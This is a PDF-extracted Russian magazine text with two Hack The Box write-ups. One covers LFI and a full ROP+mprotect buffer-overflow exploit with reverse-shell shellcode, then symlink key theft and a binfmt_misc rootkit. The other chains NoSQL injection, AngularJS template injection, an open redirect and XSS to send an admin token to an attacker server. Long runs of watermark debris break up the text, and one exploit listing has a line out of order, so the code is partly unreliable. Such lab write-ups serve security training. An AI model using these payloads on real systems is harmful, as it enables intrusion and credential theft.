Добавил:
Опубликованный материал нарушает ваши авторские права? Сообщите нам.
Вуз: Предмет: Файл:
Скачиваний:
12
Добавлен:
20.04.2024
Размер:
22.25 Mб
Скачать

 

 

 

hang

e

 

 

 

 

 

 

 

 

C

 

 

E

 

 

 

 

 

X

 

 

 

 

 

 

 

 

 

-

 

 

 

 

 

 

d

 

 

 

F

 

 

 

 

 

 

 

 

t

 

 

 

D

 

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

 

 

r

 

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

ВЗЛОМ

 

 

wClick

to

 

 

 

 

o m

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

.c

 

 

 

.

 

 

c

 

 

 

 

 

 

 

p

df

 

 

 

 

e

 

 

 

 

-x

 

n

 

 

 

 

 

 

 

 

ha

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

 

C

 

E

 

 

 

 

 

X

 

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

 

w Click

 

 

 

 

 

 

m

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

o

 

 

.

 

 

c

 

 

 

.c

 

 

 

p

df

 

 

 

e

 

 

 

 

 

 

g

 

 

 

 

 

 

 

 

n

 

 

 

 

 

 

 

 

-x ha

 

 

 

 

 

ПИШЕМ ЭКСПЛОИТ

ROP + MPROTECT

И ИСПОЛЬЗУЕМ ПЕРЕПОЛНЕНИЕ БУФЕРА

В этом райтапе мы раскрутим уязвимость локального включения файлов, что поможет нам при написании эксплоита на основе ROP + mprotect. Поборов проверку лицензии, мы повысим привилегии при помощи руткита binfmt_misc. Препарировать будем машину Retired с площадки Hack The Box. Задачка классифицирована как сложная, хотя я бы так не сказал.

RalfHacker hackerralf8@gmail.com

Подключаться к машинам с HTB рекомендуется только через VPN. Не делай этого с компьютеров, где есть важные для тебя данные, так как ты окажешься в общей сети с другими участниками.

РАЗВЕДКА Сканирование портов

Добавляем IP-адрес машины в /etc/hosts:

10.10.11.154 retired.htb

И запускаем сканирование портов.

Сканирование портов — стандартный первый шаг при любой атаке. Он позволяет атакующему узнать, какие службы на хосте принимают соединение. На основе этой информации выбирается следующий шаг к получению точки входа.

Наиболее известный инструмент для сканирования — это Nmap. Улучшить результаты его работы ты можешь при помощи следующего скрипта.

#!/bin/bash

ports=$(nmap -p- --min-rate=500 $1 | grep ^[0-9] | cut -d '/' -f

1 | tr '\n' ',' | sed s/,$//)

nmap -p$ports -A $1

Он действует в два этапа. На первом производится обычное быстрое сканирование, на втором — более тщательное сканирование, с использованием имеющихся скриптов (опция -A).

Результат работы скрипта

Что же мы нашли? Порт 22 — служба OpenSSH 8.4p1, порт 80 — веб-сервер Nginx. Также из результатов скана Nmap видим редирект, в котором страница передается в качестве параметра.

Главная страница сайта

ТОЧКА ВХОДА LFI

При таком запросе страниц сайта нужно сразу проверить, получится ли отобразить не тот файл, который был вставлен разработчиком. Попробуем запросить /etc/passwd, воспользовавшись обходом каталогов.

curl 'http://retired.htb/index.php?page=/../../../../../../../etc/

passwd'

Содержимое файла /etc/passwd

Уязвимость подтверждена, поэтому перейдем к эксплуатации. Нам нужно знать, какие файлы читать, поэтому поищем на сайте скрытые страницы. Так как мы уже столкнулись с форматами PHP и HTML, то такие страницы и будем искать. Для этого воспользуемся сканером ffuf.

Одно из первых действий при тестировании безопасности веб-приложения — это сканирование методом перебора каталогов, чтобы найти скрытую информацию и недоступные обычным посетителям функции. Для этого можно использовать программы вроде dirsearch и DIRB.

Я предпочитаю легкий и очень быстрый uf. При запуске указываем следующие параметры:

-w — словарь (я использую словари из набора SecLists);

-t — количество потоков;

-u — URL;

-fc — исключить из результата ответы с кодом 403.

Команда следующая:

ffuf -u 'http://retired.htb/FUZZ.php' -t 256 -w directory_2.3_

medium_lowercase.txt

Результат поиска файлов PHP с помощью uf

ffuf -u 'http://retired.htb/FUZZ.html' -t 256 -w directory_2.3_

medium_lowercase.txt

Результат поиска файлов HTML с помощью uf

Нашли всего одну новую страницу — beta.html.

Страница beta.html

На странице нужно загружать файл лицензии, который будет отправлен на следующий адрес:

http://retired.htb/activate_license.php

Посмотрим, что произойдет с файлом дальше. Для этого получим код найденного обработчика.

curl 'http://retired.htb/index.php?page=activate_license.php'

Исходный код activate_license.php

Таким образом, загруженный через форму файл будет отправлен приложению, которое работает на локальном порте 1337. Попробуем выяснить, что это за приложение, с помощью LFI. Я запустил Burp Intruder и передал ему список информативных файлов из Unix.

Burp Intruder — вкладка Positions

В результате сканирования узнаем, что нам доступен в том числе и файл / proc/sched_debug, где и находим процесс activate_license и соответству-

ющий ему идентификатор процесса (PID) — 487.

Результат сканирования

Зная PID процесса, мы можем получить полную командную строку, что даст нам путь к файлу.

curl 'http://retired.htb/index.php?page=/proc/487/cmdline'

Командная строка процесса 487

Получаем полный путь к файлу обработчика, а также видим, что порт для прослушивания передается в качестве аргумента. Скачиваем этот файл на локальный хост для анализа.

wget 'http://retired.htb/index.php?page=/usr/bin/activate_license'

Продолжение статьи

 

 

 

hang

e

 

 

 

 

 

 

C

 

 

E

 

 

 

X

 

 

 

 

 

 

 

-

 

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

ВЗЛОМ

 

wClick

to

 

 

 

o m

 

c

 

 

 

 

w

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

.c

 

 

.

 

 

 

 

 

 

 

 

p

 

 

 

 

 

g

 

 

 

 

df

-x

 

n

e

 

 

 

 

ha

 

 

 

 

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

 

C

 

E

 

 

 

 

 

X

 

 

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

 

 

F

 

 

 

 

 

 

t

 

 

 

 

D

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

 

r

 

 

P

 

 

 

 

NOW!

o

← НАЧАЛО СТАТЬИ w.

 

 

c

 

 

 

 

 

 

.co

 

 

 

 

 

 

to

BUY

 

 

 

 

 

 

 

w Click

 

 

 

 

 

m

 

 

w

 

 

 

 

 

 

 

 

 

 

 

p

 

 

 

 

g

 

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

 

-x ha

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

ПИШЕМ ЭКСПЛОИТ

ROP + MPROTECT

И ИСПОЛЬЗУЕМ ПЕРЕПОЛНЕНИЕ БУФЕРА

ТОЧКА ОПОРЫ Переполнение буфера

Теперь перейдем к анализу приложения. Каждый выбирает для себя более удобный инструмент, но я остаюсь приверженцем IDA Pro. Закидываем бинарь в декомпилятор и ищем функцию main.

Итак, приложение стандартным способом открывает порт, ожидает соединения и, если оно происходит и если функция fork выполнена успешно, запус-

кает функцию activate_license.

Псевдокод функции main

В функции activate_license происходит бесконтрольное чтение из буфера размером 512 байт.

Псевдокод функции activate_license

Таким образом, мы нашли место для переполнения буфера, осталось определиться со смещением нагрузки и методом эксплуатации. Для этого нужно запустить программу в удаленном отладчике, переполнить буфер и посмотреть, на каком смещении от начала буфера будет вершина стека, когда программа упадет.

Параметры удаленного отладчика IDA Pro

Но при отладке мы не попадаем в функцию activate_license, поэтому мне пришлось запатчить инструкцию условного перехода (jnz).

Код программы до исправления

Код программы после патча jnz

Теперь сгенерируем последовательность де Брёйна, которая поможет быстро определить смещение.

Генерирование последовательности де Брёйна

Отправляем эти данные нашей программе и после ошибки выполнения смотрим данные в регистре RBP.

echo aaabaaac... | nc 127.0.0.1 1337

Значения регистров

Конвертируем полученное значение и вычисляем смещение — 520.

Получение смещения

Выбирать метод долго не пришлось. Мы можем получить доступ к области неисполняемой памяти.

 

Карта памяти

 

 

 

 

 

 

 

 

Для успешной эксплуатации мы отправим

вместе

с данными шелл-код,

с помощью ROP-цепочек сделаем этот

сегмент

памяти исполняемым

и передадим управление на шелл-код.

Впоследствии будем дополнять следующий шаблон эксплоита.

#!/usr/bin/python3

from pwn import *

context.clear(arch='amd64')

###########################

payload = b'A' * 520

r = requests.post(f"http://10.10.11.154/activate_license.php",

files = { "licensefile": payload } )

ROP-цепочки

Для работы с ROP-цепочками нам потребуется карта памяти процесса с удаленного хоста, получить которую мы можем через LFI.

curl 'http://retired.htb/index.php?page=/proc/487/maps'

Карта памяти

Для поиска ROP-цепочек нам нужно получить используемую версию libc.

curl 'http://retired.htb/index.php?page=/usr/lib/x86_64-linux-gnu/

libc-2.31.so' --output libc-2.31.so

Теперь можем определиться и с самой ROP-цепочкой. Нам нужно изменить права на блок памяти, и в этом поможет функция mprotect:

int mprotect(const void *addr, size_t len, int prot);

Функция принимает три аргумента, передавать которые мы будем инструкциями pop rdi, pop rsi и pop rdx. Проверить наличие соответствующих цепочек мы можем следующим образом:

from pwn import *

context.clear(arch='amd64')

libc = ELF("libc-2.31.so", checksec=False)

rop = ROP([libc])

rop.rdi

rop.rsi

rop.rdx

libc.symbols['mprotect']

Проверка наличия цепочек

Есть все данные для вызова функции mprotect, передавать в качестве параметров мы будем адрес стека и его размер (получаем из карты памяти), третий параметр функции — новые права, используем маску rwx (7). Вот код эксплоита на текущем этапе:

#!/usr/bin/python3

from pwn import *

context.clear(arch='amd64')

stack_base = 0x7ffc93704000

stack_size = 0x7ffc93725000 - stack_base

libc = ELF("libc-2.31.so", checksec=False)

libc.address = 0x7f522503d000

rop = ROP([libc])

payload += p64(pop_rdi) + p64(stack_base)

payload = b'A' * 520

payload += p64(rop.rdi[0])

payload += p64(stack_base)

payload += p64(rop.rsi[0])

payload += p64(stack_size)

payload += p64(rop.rdx[0])

payload += p64(7)

payload += p64(libc.symbols['mprotect'])

r = requests.post(f"http://10.10.11.154/activate_license.php",

files = { "licensefile": payload } )

Øåëë-êîä

Следующей инструкцией станет jmp на адрес в регистре RSP (указатель стека), так как там будет расположен шелл-код. Но найти инструкцию jmp rsp в регистре не удалось, поэтому скачаем и проверим другие используемые библиотеки. Нужную инструкцию обнаруживаем в библиотеке libsqlite.

curl 'http://retired.htb/index.php?page=/usr/lib/x86_64-linux-gnu/

libsqlite3.so.0.8.6' --output libsqlite3.so.0.8.6

libsqlite = ELF("libsqlite3.so.0.8.6", checksec=False)

rop = ROP([libsqlite])

rop.jmp_rsp

Проверка наличия цепочек

Сам шелл-код сгенерируем с помощью msfvenom из Metasploit Framework.

msfvenom -p linux/x64/shell_reverse_tcp LHOST=10.10.14.21 LPORT=

4321 -f py

Генерирование шелл-кода

Полный код эксплоита будет следующим:

#!/usr/bin/python3

from pwn import *

import requests

context.clear(arch='amd64')

stack_base = 0x7ffc93704000

stack_size = 0x7ffc93725000 - stack_base

libc = ELF("libc-2.31.so", checksec=False)

libc.address = 0x7f522503d000

libsqlite = ELF("libsqlite3.so.0.8.6", checksec=False)

libsqlite.address = 0x7f5225202000

rop = ROP([libc, libsqlite])

buf = b"\x6a\x29\x58\x99\x6a\x02\x5f\x6a\x01\x5e\x0f\x05\x48"

buf += b"\x97\x48\xb9\x02\x00\x10\xe1\x0a\x0a\x0e\x15\x51\x48"

buf += b"\x89\xe6\x6a\x10\x5a\x6a\x2a\x58\x0f\x05\x6a\x03\x5e"

buf += b"\x48\xff\xce\x6a\x21\x58\x0f\x05\x75\xf6\x6a\x3b\x58"

buf += b"\x99\x48\xbb\x2f\x62\x69\x6e\x2f\x73\x68\x00\x53\x48"

buf += b"\x89\xe7\x52\x57\x48\x89\xe6\x0f\x05"

payload = b'A' * 520

payload += p64(rop.rdi[0])

payload += p64(stack_base)

payload += p64(rop.rsi[0])

payload += p64(stack_size)

payload += p64(rop.rdx[0])

payload += p64(7)

payload += p64(libc.symbols['mprotect'])

payload += p64(rop.jmp_rsp[0])

payload += buf

r = requests.post(f"http://10.10.11.154/activate_license.php",

files = { "licensefile": payload } )

Запускаем листенер на указанном при генерации шелл-кода порте (rlwrap - cAr nc -lvp 4321) и выполняем эксплоит.

Выполнение эксплоита

Бэкконнект с сервера

И получаем доступ к хосту.

ПРОДВИЖЕНИЕ

Мы получили доступ к хосту, теперь необходимо собрать информацию. Рыться в системе можно долго, поэтому используем скрипт PEASS.

Что делать после того, как мы получили доступ в систему? Вариантов дальнейшей эксплуатации и повышения привилегий может быть очень много, как в Linux, так и в Windows. Чтобы собрать информацию и наметить цели, можно использовать Privilege Escalation Awesome Scripts SUITE (PEASS) — набор скриптов, которые проверяют систему на автомате.

Результат работы скрипта

Скрипт находит много интересного в разделе с бэкапами: какой-то поль-

зовательский файл /usr/bin/webbackup, службу website_backup, а также таймер для этой службы. Глянем, что собой представляет пользовательский файл.

Проверка файла webbackup

Это скрипт на Bash, поэтому просмотрим его исходный код.

Содержимое файла webbackup

Этот сценарий должен архивировать при помощи zip все содержимое каталога /var/www/html и сохранять результат в /var/www/. При этом найденная служба, скорее всего, запускает скрипт раз в минуту.

Список системных таймеров

Подобные задания на Hack The Box не новы, и заядлые «игроки» знают, что делать в данном случае: создавать символическую ссылку на другой файл. Тогда при обработке этой ссылки будут произведены операции с самим файлом. Создадим в каталоге /var/www/html ссылку на приватный ключ пользователя.

ln -s /home/dev/.ssh/id_rsa id_rsa

Теперь дождемся срабатывания скрипта, разархивируем только что созданный архив и заберем желанный ключ.

Приватный ключ пользователя

И, подключившись с полученным ключом, забираем флаг пользователя.

Флаг пользователя

ЛОКАЛЬНОЕ ПОВЫШЕНИЕ ПРИВИЛЕГИЙ

В домашнем каталоге пользователя находим интересный проект emuemu.

Содержимое домашнего каталога пользователя

Файл из этого проекта уже был упомянут в выводе LinPEAS в разделе Linux capabilities. Но сначала пару слов о том, что же это такое.

Linux capabilities из вывода LinPEAS

В Linux пользователь root получает особый контекст при запуске любых процессов. Так, ядро и приложения, работающие от имени root, обычно пропускают любые ограничения, заданные на действия в определенном контексте, поэтому root может делать все, что захочет. Но что, если процессу, который работает в непривилегированном контексте, нужно выполнить требующее привилегий действие, не повышая уровня прав?

Например, бывает нужно разрешить процессу записывать в журнал аудита ядра, но не позволять отключить этот аудит. Ведь если запустить этот процесс в контексте рута, он сможет выполнить оба действия!

Тут на помощь и приходят Linux capabilities. Эти «возможности» предоставляют процессу не все множество привилегий, а какое-то его подмножество. Другими словами, все привилегии рута разбиваются на более мелкие независимые друг от друга привилегии и процесс получает только те, которые ему нужны.

В данном случае активирована привилегия cap_dac_override, которая позволяет обойти проверку прав на запись для любого файла, то есть дает возможность записывать данные в абсолютно любой файл.

Теперь перейдем к самому приложению, благо есть даже исходные коды.

Так, в файле reg_helper.c происходит запись в /proc/sys/fs/binfmt_misc/ register.

Содержимое файла reg_helper.c

Поскольку в binfmt_misc записывается подконтрольный нам ввод, мы можем использовать готовый эксплоит, чтобы запустить руткит и получить контроль над системой. Но в файл эксплоита нужно внести несколько изменений:

указать целевой бинарный файл;

убрать функцию not_writeable.

Измененный файл эксплоита

Измененный код эксплоита (продолжение)

Выполняем наш файл и получаем привилегированную командную оболочку.

Флаг рута

Машина захвачена!

 

 

 

hang

e

 

 

 

 

 

 

C

 

 

E

 

 

 

X

 

 

 

 

 

 

 

-

 

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

ВЗЛОМ

 

wClick

to

 

 

 

o m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

w

 

 

c

 

 

 

.c

 

 

.

 

 

 

 

 

 

 

p

 

 

 

 

 

g

 

 

 

 

df

-x

 

n

e

 

 

 

 

ha

 

 

 

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

w Click

 

 

 

 

 

m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

c

 

 

 

o

 

 

.

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-x ha

 

 

 

 

ИЗВЛЕКАЕМ ДАННЫЕ ЧЕРЕЗ ЦЕПОЧКУ OPEN REDIRECT,

RXXS И CSTI

В этом райтапе мы с тобой проведем множество сканирований цели, чтобы определить точки входа, поработаем с GraphQL, проэксплуатируем цепочку уяз-

вимостей Open Redirect, Re ected XSS

и CSTI для кражи админского токена. Затем получим доступ к хосту, прочитав

SSH-ключ через SSRF в FFmpeg. Все это — в рамках прохождения сложной машины OverGraph с площадки Hack The Box.

RalfHacker hackerralf8@gmail.com

Подключаться к машинам с HTB рекомендуется только через VPN. Не делай этого с компьютеров, где есть важные для тебя данные, так как ты окажешься в общей сети с другими участниками.

РАЗВЕДКА Сканирование портов

Добавляем IP-адрес машины в /etc/hosts:

10.10.11.157 overgraph.htb

И запускаем сканирование портов.

Сканирование портов — стандартный первый шаг при любой атаке. Он позволяет атакующему узнать, какие службы на хосте принимают соединение. На основе этой информации выбирается следующий шаг к получению точки входа.

Наиболее известный инструмент для сканирования — это Nmap. Улучшить результаты его работы ты можешь при помощи следующего скрипта.

#!/bin/bash

ports=$(nmap -p- --min-rate=500 $1 | grep ^[0-9] | cut -d '/' -f

1 | tr '\n' ',' | sed s/,$//)

nmap -p$ports -A $1

Он действует в два этапа. На первом производится обычное быстрое сканирование, на втором — более тщательное сканирование, с использованием имеющихся скриптов (опция -A).

Результат работы скрипта

Открыто два порта: 22 — служба OpenSSH 8.2p1 и 80 — веб-сервер Nginx 1.18.0. Nmap показал нам, что выполняется редирект на адрес http://graph. htb. Тоже добавляем этот адрес в файл /etc/hosts.

10.10.11.157 overgraph.htb graph.htb

Главная страница http://graph.htb

Сайт оказался одностраничным, поэтому нужно найти новые цели для тестирования.

Сканирование веб-контента

Попробуем поискать скрытые каталоги и файлы при помощи ffuf.

Одно из первых действий при тестировании безопасности веб-приложения — это сканирование методом перебора каталогов, чтобы найти скрытую информацию и недоступные обычным посетителям функции. Для этого можно использовать программы вроде dirsearch и DIRB.

Я предпочитаю легкий и очень быстрый uf. При запуске указываем следующие параметры:

-w — словарь (я использую словари из набора SecLists);

-t — количество потоков;

-u — URL;

-fc — исключить из результата ответы с кодом 403.

ffuf -u 'http://graph.htb/FUZZ' -t 256 -w directory_2.3_medium_

lowercase.txt

Результат сканирования каталогов с помощью uf

И не находим ничего интересного, даже в файле server-status. Поэтому попробуем просканировать поддомены, для чего снова будем использоватьuf. К параметрам добавим заголовки -H и --fs, это поможет отсеять страницы по размеру.

ffuf -u 'http://graph.htb/' -t 256 -w subdomains-top1million-

110000.txt -H 'Host: FUZZ.graph.htb' --fs 178

Результат сканирования поддоменов с помощью uf

И находим новый поддомен internal. Добавляем его в файл /etc/hosts.

10.10.11.157 overgraph.htb graph.htb internal.graph.htb

Но, открыв сайт в браузере, сразу натыкаемся на форму авторизации.

Форма авторизации http://internal.graph.htb

Так как всю работу проводим через Burp, то обнаружим в Burp History обра-

щение еще к одному домену — internal-api.graph.htb.

Логи Burp History

Добавляем еще одну запись в файл /etc/hosts и затем открываем страницу / graphql.

10.10.11.157 overgraph.htb graph.htb internal.graph.htb internal-

api.graph.htb

Главная страница сайта http://internal-api.graph.htb

На странице используется GraphQL. Это язык запросов, с помощью которого клиентские приложения работают с данными. «Схемы» GraphQL позволяют организовывать создание, чтение, обновление и удаление данных в приложении. Давай получим данные __schema и отфильтруем названия типов, это можно сделать, передав в параметре query следующий запрос:

{__schema{types{name,fields{name}}}}

Ответ сервера

Ответ сервера (продолжение)

На этом пока все, но мы еще не сканировали каталоги на новом домене. Попробуем сделать это. Но, как только мы обратимся к любой странице, получим ответ, что запросы GET не поддерживаются. Поэтому будем сканировать запросом POST. А так как на домене крутится API, то и использовать будем соответствующий словарь.

ffuf -u 'http://internal-api.graph.htbFUZZ' -t 256 -X POST -w

apiscan.txt

Результат сканирования API с помощью uf

И находим три новые страницы, с которыми начнем работу.

ТОЧКА ВХОДА

Итак, мы имеем следующие API:

register — для регистрации пользователя;

verify — предположительно для проверки при регистрации;

code — пока непонятно, но, скорее всего, для проверки кода, отправленного на email.

Яначал со страницы /api/register. Передаем наиболее вероятные параметры: имя пользователя, пароль и адрес электронной почты.

{

"username":"ralf",

"email":"ralf@graph.htb",

"password":"ralf"

}

Попытка регистрации пользователя

Но в ответ нам говорят, что у нас неверный email или он не верифицирован. Это интересно, так как у нас остается всего две страницы для регистрации. Видимо, страница /api/code нужна для получения кода. Отправим туда свой email.

{

"email":"ralf@graph.htb"

}

Получение кода

И нам сообщают, что четыре цифры были отправлены на указанный почтовый ящик. По тестовому сообщению на странице /api/verify узнаем, что вместе с почтой нужно присылать и код.

Запрос к /api/verify

Я попробовал перебрать этот код с помощью Burp Intruder, благо комбинаций всего 10 000. Но уже на одном из первых запросов все ломается, так как мы превысили количество попыток!

Сообщение о превышении количества запросов

Я очень долго просидел на этом этапе — пришлось даже просить подсказки у друзей. Мне посоветовали углубиться в механизм проверки кода. Тогда, потратив еще немного времени, я нашел NoSQL-инъекцию, которая позволяет верифицировать почту, предоставляя неправильный код. В данном запросе мы получим положительный результат, если код не равен 0000.

{

"email":"ralf@graph.htb",

"code":{

"$ne":"0000"

}

}

Верификация почты

Продолжение статьи

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

 

E

 

 

 

 

X

 

 

 

 

 

 

 

-

 

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

ВЗЛОМ

w Click

to

 

 

 

o m

 

 

 

 

 

w

 

 

 

 

 

 

 

.c

 

 

.

 

 

c

 

 

 

 

 

w

p

 

 

 

 

g

 

 

 

 

 

df

-x

 

n

e

 

 

 

 

 

ha

 

 

 

 

 

 

 

hang

e

 

 

 

 

 

 

C

 

E

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

r

P

 

 

 

 

NOW!

o

← НАЧАЛО СТАТЬИ w.

 

 

c

 

 

 

 

 

 

.co

 

 

 

 

to

BUY

 

 

 

 

 

w Click

 

 

 

 

 

m

w

 

 

 

 

 

 

 

 

 

p

 

 

 

 

g

 

 

 

 

df

 

 

n

e

 

 

 

 

-x ha

 

 

 

 

ИЗВЛЕКАЕМ ДАННЫЕ ЧЕРЕЗ ЦЕПОЧКУ OPEN REDIRECT, RXXS И CSTI

Приходит подтверждение того, что почта верифицирована. Повторим регистрацию и получим сообщение, что пароль и его подтверждение не совпадают.

Попытка регистрации пользователя

Тогда я перепробовал разные имена поля подтверждения пароля и определил, что в данном случае подходит confirmPassword.

Регистрация пользователя

И аккаунт создан! Перейдем к форме авторизации на втором домене и авторизуемся.

Главная страница http://internal.graph.htb

А во входящих находим сообщение от пользователя Sally.

Входящие сообщения

Нас просят прислать ссылку. Попробуем открыть локальный сервер и скинуть ссылку на него. В итоге приходит запрос.

Логи веб-сервера Python 3

Давай посмотрим, как это можно использовать.

ТОЧКА ОПОРЫ

Если еще раз взглянуть на страницу, можно заметить над меню надпись null null. В исходном коде есть отсылка к нашему пользователю. А в локальном хранилище браузера (F12 → Application) найдем запись, что это firstname

и lastname.

Исходный код страницы

Локальное хранилище браузера

Перейдем в настройки профиля и увидим то же самое, только с возможностью изменить эти значения.

Страница Pro le

CSTI

Надпись null null натолкнула меня на мысль об использовании шаблонов. Давай проведем базовый тест.

Новые значения имени пользователя

Отображение имени пользователя

Как можно увидеть, вместо введенной строки получаем результаты выражений, а значит, есть уязвимость в шаблонах! Вот только в локальном хранилище эти значения хранятся, как и вводились. Значит, шаблон работает на клиентской стороне, а это уже путь для CSTI — инъекции шаблонов на стороне клиента.

Локальное хранилище браузера

Также я обратил внимание на параметр admin со значением false. Я изменил на true и перезагрузил страницу. В меню появилась графа Uploads.

Измененное меню

Только вот форма загрузки не дает загрузить файл. Если вернемся к нашей схеме GraphQL, то можем посмотреть на необходимые параметры, к примеру

adminToken.

Параметры из схемы GraphQL

Таким образом, нам нужен adminToken пользователя Sally. Но получить его непросто. Тут появился следующий план: если заставим целевого пользователя выполнить запрос на смену имени (по ссылкам же он переходит!), то в качестве нового имени установим нагрузку CSTI, передающую нам adminToken. В исходниках видим использование AngularJS.

Исходный код страницы

AngularJS — это популярная библиотека JavaScript, которая сканирует HTML на предмет тегов с атрибутом ng-app (директива AngularJS). Когда директива добавляется в тег, появляется возможность выполнять выражения JavaScript в двойных фигурных скобках.

Уязвимость Template Injection возникает, когда приложение, используя какой-нибудь шаблонизатор, динамически внедряет пользовательский ввод

ввеб-страницу. Когда страница отображается, фреймворк ищет в странице шаблонное выражение и выполняет его. Основное отличие CSTI от SSTI заключается в том, что при CSTI мы можем добиться лишь выполнения произвольного кода на JavaScript. Две самые популярные нагрузки для CSTI

вAngularJS:

{{constructor.constructor('alert(1)')()}}

{{$on.constructor('alert(1)')()}}

Новое имя пользователя

Обновляем страницу и первым делом видим окошко алерта.

Вызов alert(1) при загрузке страницы

А теперь попробуем эксфильтровать токен, для чего создадим у себя в хранилище тестовый.

Локальное хранилище браузера

В качестве нагрузки будем использовать знаменитый стилер, который похищает данные через картинку, а доступ к хранилищу получим через window.

localStorage.

{{$on.constructor('new Image().src="http://10.10.14.123:8000/

?a="+window.localStorage.getItem("adminToken");')()}}

Обновляем страницу и в логах локального веб-сервера находим значение тестового токена.

Логи веб-сервера

Нагрузка для эксфильтрации готова, теперь разберемся, как подсунуть пользователю наш код.

Open Redirect

Я снова просмотрел все сайты и на самом главном домене нашел что-то вроде редиректа.

Код главной страницы http://graph.htb

Если существует GET-параметр redirect, то функция window.location. replace установит в качестве содержимого текущей страницы код, взятый по ссылке из redirect. Благо мы можем вставить вместо URL код на JavaScript:

http://graph.htb/?redirect=javascript:alert(1)

Выполнение кода через JavaScript URL

Осталось разобраться с данными, которые отправляются для изменения имени пользователя.

GraphQL

В Burp History найдем запрос, которым мы изменили собственное имя.

Запрос на изменение профиля

Один из параметров — id пользователя, а это немного усложняет задачу. Снова вернемся к GraphQL и посмотрим, какой из типов содержит поле

Assignedto.

Тип task

Нас интересует тип task, который мы можем получить запросом tasks.

Тип Query

Таким образом, нам нужно выполнить запрос tasks с параметром username, в котором мы передадим имя пользователя Sally. Нас интересует только поле

Assignedto.

query task{

task(username:"Sally"){

Assignedto

}

}

ID пользователя Sally

Reflected XSS

Мы получили ID целевого пользователя, поэтому можем собрать XSS-нагрузку. Наша нагрузка с помощью XMLHttpRequest выполнит POST-запрос на http://

internal-api.graph.htb/graphql и передаст нагрузку CSTI как параметр firstname:

var req = new XMLHttpRequest();

req.open('POST', 'http://internal-api.graph.htb/graphql', false);

req.setRequestHeader("Content-Type","text/plain");

req.withCredentials = true;

var body = JSON.stringify({

operationName: "update",

variables: {

firstname: "{{$on.constructor('new Image().src="

http://10.10.14.123:8000/?a="+window.localStorage.getItem(

"adminToken");')()}}",

lastname: "sally",

id: "62ee9709c53e9f1214e1af5e",

newusername: "sally"

},

query: "mutation update($newusername: String!, $id: ID!,

$firstname: String!, $lastname: String!) {update(newusername:

$newusername, id: $id, firstname: $firstname, lastname:$lastname){

username,

email,id,firstname,lastname,adminToken}}"

});

req.send(body);

Сначала я хотел передать ее в редиректор по такой схеме:

javascript:eval(atob(_URL_encode(_BASE64_encode(payload))))

Но это не сработало. Тогда я записал нагрузку в отдельный файл на локальном веб-сервере и загрузил удаленно, используя вставку кода функцией document.

body.innerHTML:

javascript:document.body.innerHTML+='<script src="http://10.10.14.

123:8000/t.js"></script>'

Необходимо закодировать эту нагрузку в кодировку URL и отправить ссылку пользователю в чате:

http://graph.htb/?redirect=javascript:document.body.

innerHTML%2b%3d'<script+src%3d"http://10.10.14.123:8000/t.js"></

script>'

Дальше механизм сработает так:

1.Пользователь переходит по ссылке.

2.Через редирект с нашего веб-сервера загружается JS-скрипт с нагрузкой.

3.Нагрузка отправляет запрос на изменение профиля и устанавливает другую нагрузку CSTI.

4.При обновлении страницы нагрузка CSTI извлекает adminToken из локального хранилища и отправляет его на наш сервер.

Логи локального веб-сервера

Продолжение статьи

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

 

E

 

 

 

 

X

 

 

 

 

 

 

 

 

-

 

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

ВЗЛОМ

 

wClick

to

 

 

 

 

o m

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

.c

 

 

.
